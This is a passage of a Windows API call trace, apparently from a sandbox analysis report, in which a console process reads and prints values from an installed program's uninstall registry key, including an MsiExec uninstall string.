0xc4bb0 [0147.579] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.579] _errno () returned 0xc4bb0 [0147.579] GetFileType (hFile=0x50) returned 0x1 [0147.579] lstrlenW (lpString="REG_DWORD") returned 9 [0147.579] GetConsoleOutputCP () returned 0x1b5 [0147.579] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.579] GetConsoleOutputCP () returned 0x1b5 [0147.580] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.580] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.580] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.580] __iob_func () returned 0x7fefd702a80 [0147.580] _fileno (_File=0x7fefd702ab0) returned 1 [0147.580] _errno () returned 0xc4bb0 [0147.580] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.580] _errno () returned 0xc4bb0 [0147.580] GetFileType (hFile=0x50) returned 0x1 [0147.580] lstrlenW (lpString=" ") returned 4 [0147.580] GetConsoleOutputCP () returned 0x1b5 [0147.580] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.580] GetConsoleOutputCP () returned 0x1b5 [0147.580] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.580] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.580] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.581] __iob_func () returned 0x7fefd702a80 [0147.581] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.581] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x37d8") returned 6 [0147.581] _fileno (_File=0x7fefd702ab0) returned 1 [0147.581] _errno () returned 0xc4bb0 [0147.581] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.581] _errno () returned 0xc4bb0 [0147.581] GetFileType (hFile=0x50) returned 0x1 [0147.581] lstrlenW (lpString="0x37d8") returned 6 [0147.581] GetConsoleOutputCP () returned 0x1b5 [0147.581] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x37d8", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.581] GetConsoleOutputCP () returned 0x1b5 [0147.581] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x37d8", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x37d8", lpUsedDefaultChar=0x0) returned 6 [0147.581] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.581] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.581] __iob_func () returned 0x7fefd702a80 [0147.581] _fileno (_File=0x7fefd702ab0) returned 1 [0147.581] _errno () returned 0xc4bb0 [0147.581] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.581] _errno () returned 0xc4bb0 [0147.581] GetFileType (hFile=0x50) returned 0x1 [0147.581] lstrlenW (lpString="\n") returned 1 [0147.581] GetConsoleOutputCP () returned 0x1b5 [0147.582] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.582] GetConsoleOutputCP () returned 0x1b5 [0147.582] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.582] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.582] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.582] GetProcessHeap () returned 0x2e0000 [0147.582] GetProcessHeap () returned 0x2e0000 [0147.582] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.582] GetProcessHeap () returned 0x2e0000 [0147.582] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.582] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.582] RegEnumValueW (in: hKey=0x5c, dwIndex=0xe, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="SystemComponent", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.582] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.582] GetProcessHeap () returned 0x2e0000 [0147.582] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.582] GetProcessHeap () returned 0x2e0000 [0147.582] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.582] GetProcessHeap () returned 0x2e0000 [0147.582] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.582] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0147.582] __iob_func () returned 0x7fefd702a80 [0147.582] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.582] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.582] _fileno (_File=0x7fefd702ab0) returned 1 [0147.582] _errno () returned 0xc4bb0 [0147.582] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.582] _errno () returned 0xc4bb0 [0147.582] GetFileType (hFile=0x50) returned 0x1 [0147.582] lstrlenW (lpString=" ") returned 4 [0147.583] GetConsoleOutputCP () returned 0x1b5 [0147.583] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.583] GetConsoleOutputCP () returned 0x1b5 [0147.583] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.583] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.583] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.583] lstrlenW (lpString="SystemComponent") returned 15 [0147.583] __iob_func () returned 0x7fefd702a80 [0147.583] _fileno (_File=0x7fefd702ab0) returned 1 [0147.583] _errno () returned 0xc4bb0 [0147.583] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.583] _errno () returned 0xc4bb0 [0147.583] GetFileType (hFile=0x50) returned 0x1 [0147.583] lstrlenW (lpString="SystemComponent") returned 15 [0147.583] GetConsoleOutputCP () returned 0x1b5 [0147.584] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0147.584] GetConsoleOutputCP () returned 0x1b5 [0147.584] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemComponent", lpUsedDefaultChar=0x0) returned 15 [0147.584] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0147.584] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.584] __iob_func () returned 0x7fefd702a80 [0147.584] _fileno (_File=0x7fefd702ab0) returned 1 [0147.584] _errno () returned 0xc4bb0 [0147.584] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.584] _errno () returned 0xc4bb0 [0147.584] GetFileType (hFile=0x50) returned 0x1 [0147.584] lstrlenW (lpString=" ") returned 4 [0147.584] GetConsoleOutputCP () returned 0x1b5 [0147.584] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.584] GetConsoleOutputCP () returned 0x1b5 [0147.585] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.585] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.585] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.585] __iob_func () returned 0x7fefd702a80 [0147.585] _fileno (_File=0x7fefd702ab0) returned 1 [0147.585] _errno () returned 0xc4bb0 [0147.585] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.585] _errno () returned 0xc4bb0 [0147.585] GetFileType (hFile=0x50) returned 0x1 [0147.585] lstrlenW (lpString="REG_DWORD") returned 9 [0147.585] GetConsoleOutputCP () returned 0x1b5 [0147.585] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.585] GetConsoleOutputCP () returned 0x1b5 [0147.585] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.585] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.585] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.585] __iob_func () returned 0x7fefd702a80 [0147.585] _fileno (_File=0x7fefd702ab0) returned 1 [0147.585] _errno () returned 0xc4bb0 [0147.585] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.585] _errno () returned 0xc4bb0 [0147.585] GetFileType (hFile=0x50) returned 0x1 [0147.585] lstrlenW (lpString=" ") returned 4 [0147.585] GetConsoleOutputCP () returned 0x1b5 [0147.586] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.586] GetConsoleOutputCP () returned 0x1b5 [0147.586] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.586] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.586] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.586] __iob_func () returned 0x7fefd702a80 [0147.586] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.586] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0147.586] _fileno (_File=0x7fefd702ab0) returned 1 [0147.586] _errno () returned 0xc4bb0 [0147.586] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.586] _errno () returned 0xc4bb0 [0147.586] GetFileType (hFile=0x50) returned 0x1 [0147.586] lstrlenW (lpString="0x1") returned 3 [0147.586] GetConsoleOutputCP () returned 0x1b5 [0147.586] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.586] GetConsoleOutputCP () returned 0x1b5 [0147.586] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0147.586] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.586] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.587] __iob_func () returned 0x7fefd702a80 [0147.587] _fileno (_File=0x7fefd702ab0) returned 1 [0147.587] _errno () returned 0xc4bb0 [0147.587] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.587] _errno () returned 0xc4bb0 [0147.587] GetFileType (hFile=0x50) returned 0x1 [0147.587] lstrlenW (lpString="\n") returned 1 [0147.587] GetConsoleOutputCP () returned 0x1b5 [0147.587] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.587] GetConsoleOutputCP () returned 0x1b5 [0147.587] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.587] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.587] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.587] GetProcessHeap () returned 0x2e0000 [0147.587] GetProcessHeap () returned 0x2e0000 [0147.587] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.587] GetProcessHeap () returned 0x2e0000 [0147.587] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.587] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.587] RegEnumValueW (in: hKey=0x5c, dwIndex=0xf, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.587] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x6a) returned 0x0 [0147.587] GetProcessHeap () returned 0x2e0000 [0147.587] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6c) returned 0x2fd9a0 [0147.587] GetProcessHeap () returned 0x2e0000 [0147.587] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.587] GetProcessHeap () returned 0x2e0000 [0147.587] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.588] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd9a0, pcbData=0x23f670*=0x6a | out: pdwType=0x23f5f0*=0x2, pvData="MsiExec.exe /I{90160000-007E-0000-1000-0000000FF1CE}", pcbData=0x23f670*=0x6a) returned 0x0 [0147.588] __iob_func () returned 0x7fefd702a80 [0147.588] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.588] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.588] _fileno (_File=0x7fefd702ab0) returned 1 [0147.588] _errno () returned 0xc4bb0 [0147.588] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.588] _errno () returned 0xc4bb0 [0147.588] GetFileType (hFile=0x50) returned 0x1 [0147.588] lstrlenW (lpString=" ") returned 4 [0147.588] GetConsoleOutputCP () returned 0x1b5 [0147.588] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.588] GetConsoleOutputCP () returned 0x1b5 [0147.588] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.588] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.588] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.588] lstrlenW (lpString="UninstallString") returned 15 [0147.588] __iob_func () returned 0x7fefd702a80 [0147.588] _fileno (_File=0x7fefd702ab0) returned 1 [0147.588] _errno () returned 0xc4bb0 [0147.588] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.588] _errno () returned 0xc4bb0 [0147.588] GetFileType (hFile=0x50) returned 0x1 [0147.588] lstrlenW (lpString="UninstallString") returned 15 [0147.588] GetConsoleOutputCP () returned 0x1b5 [0147.589] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0147.589] GetConsoleOutputCP () returned 0x1b5 [0147.589] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0147.589] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0147.589] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.589] __iob_func () returned 0x7fefd702a80 [0147.589] _fileno (_File=0x7fefd702ab0) returned 1 [0147.589] _errno () returned 0xc4bb0 [0147.589] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.589] _errno () returned 0xc4bb0 [0147.589] GetFileType (hFile=0x50) returned 0x1 [0147.589] lstrlenW (lpString=" ") returned 4 [0147.589] GetConsoleOutputCP () returned 0x1b5 [0147.589] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.589] GetConsoleOutputCP () returned 0x1b5 [0147.589] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.589] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.589] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.589] __iob_func () returned 0x7fefd702a80 [0147.590] _fileno (_File=0x7fefd702ab0) returned 1 [0147.590] _errno () returned 0xc4bb0 [0147.590] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.590] _errno () returned 0xc4bb0 [0147.590] GetFileType (hFile=0x50) returned 0x1 [0147.590] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0147.590] GetConsoleOutputCP () returned 0x1b5 [0147.590] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.590] GetConsoleOutputCP () returned 0x1b5 [0147.590] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0147.590] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.590] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.590] __iob_func () returned 0x7fefd702a80 [0147.590] _fileno (_File=0x7fefd702ab0) returned 1 [0147.590] _errno () returned 0xc4bb0 [0147.590] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.590] _errno () returned 0xc4bb0 [0147.590] GetFileType (hFile=0x50) returned 0x1 [0147.590] lstrlenW (lpString=" ") returned 4 [0147.590] GetConsoleOutputCP () returned 0x1b5 [0147.590] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.590] GetConsoleOutputCP () returned 0x1b5 [0147.591] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.591] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.591] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.591] __iob_func () returned 0x7fefd702a80 [0147.591] _fileno (_File=0x7fefd702ab0) returned 1 [0147.591] _errno () returned 0xc4bb0 [0147.591] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.591] _errno () returned 0xc4bb0 [0147.591] GetFileType (hFile=0x50) returned 0x1 [0147.591] lstrlenW (lpString="MsiExec.exe /I{90160000-007E-0000-1000-0000000FF1CE}") returned 52 [0147.591] GetConsoleOutputCP () returned 0x1b5 [0147.591] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /I{90160000-007E-0000-1000-0000000FF1CE}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0147.591] GetConsoleOutputCP () returned 0x1b5 [0147.591] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /I{90160000-007E-0000-1000-0000000FF1CE}", cchWideChar=52, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /I{90160000-007E-0000-1000-0000000FF1CE}", lpUsedDefaultChar=0x0) returned 52 [0147.591] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0147.591] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.591] __iob_func () returned 0x7fefd702a80 [0147.591] _fileno (_File=0x7fefd702ab0) returned 1 [0147.591] _errno () returned 0xc4bb0 [0147.591] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.591] _errno () returned 0xc4bb0 [0147.591] GetFileType (hFile=0x50) returned 0x1 [0147.591] lstrlenW (lpString="\n") returned 1 [0147.591] GetConsoleOutputCP () returned 0x1b5 [0147.592] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.592] GetConsoleOutputCP () returned 0x1b5 [0147.592] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.592] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.592] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.592] GetProcessHeap () returned 0x2e0000 [0147.592] GetProcessHeap () returned 0x2e0000 [0147.592] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.592] GetProcessHeap () returned 0x2e0000 [0147.592] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.592] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0 | out: hHeap=0x2e0000) returned 1 [0147.592] RegEnumValueW (in: hKey=0x5c, dwIndex=0x10, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLInfoAbout", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.592] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.592] GetProcessHeap () returned 0x2e0000 [0147.592] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, 